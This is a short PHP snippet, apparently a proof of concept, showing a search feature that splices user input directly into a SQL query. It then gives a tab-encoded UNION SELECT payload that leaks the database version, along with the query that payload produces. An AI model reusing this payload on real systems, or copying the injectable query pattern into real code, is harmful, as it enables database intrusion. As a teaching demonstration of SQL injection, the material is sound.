if ( !empty( $_GET['buscar'] ) ){
        $buscar = (string) stripslashes( $_GET['buscar'] );
 
        if ( 40 < strlen($buscar) )
            die('Hacker!');
 
        $palabras = explode( ' ', $buscar );
        if ( 3 < count($palabras) )
            die('No se permiten mas de 3 palabras en la busqueda.');
 
        #$consulta = 'SELECT * FROM diccionario WHERE';
        $consulta = 'SELECT * FROM tbl WHERE';
        foreach( (array) $palabras as $palabra )
            $consulta .= " nombre LIKE '%{$palabra}%' OR";
            #$consulta .= " yrClaves LIKE '%{$palabra}%' OR";
 
        $consulta = substr( $consulta, 0, -3 );
        $consulta .= " LIMIT 1;";
    }else{
        $consulta = 'SELECT * FROM tbl LIMIT ' . mt_rand( 0, 5 ) . ',1;';
    }
 
    # Esto es para mi localhost
    $cnn = mysql_connect("127.0.0.1", "root", "");
    $db = mysql_select_db("PoC");
    $query = mysql_query($consulta);
    if( $query !== false ){
        $data = mysql_fetch_array($query);
    }

5'%09union%09select%09@@version,2%09%23

SELECT * FROM tbl WHERE nombre LIKE '%5' UNION SELECT @@version,2 #%' LIMIT 1; 

$usuario = (!get_magic_quotes_gpc())?addslashes($_POST['user']):$_POST['user'];

$db = new PDO( 'sqlite:diccionario.sqlite' );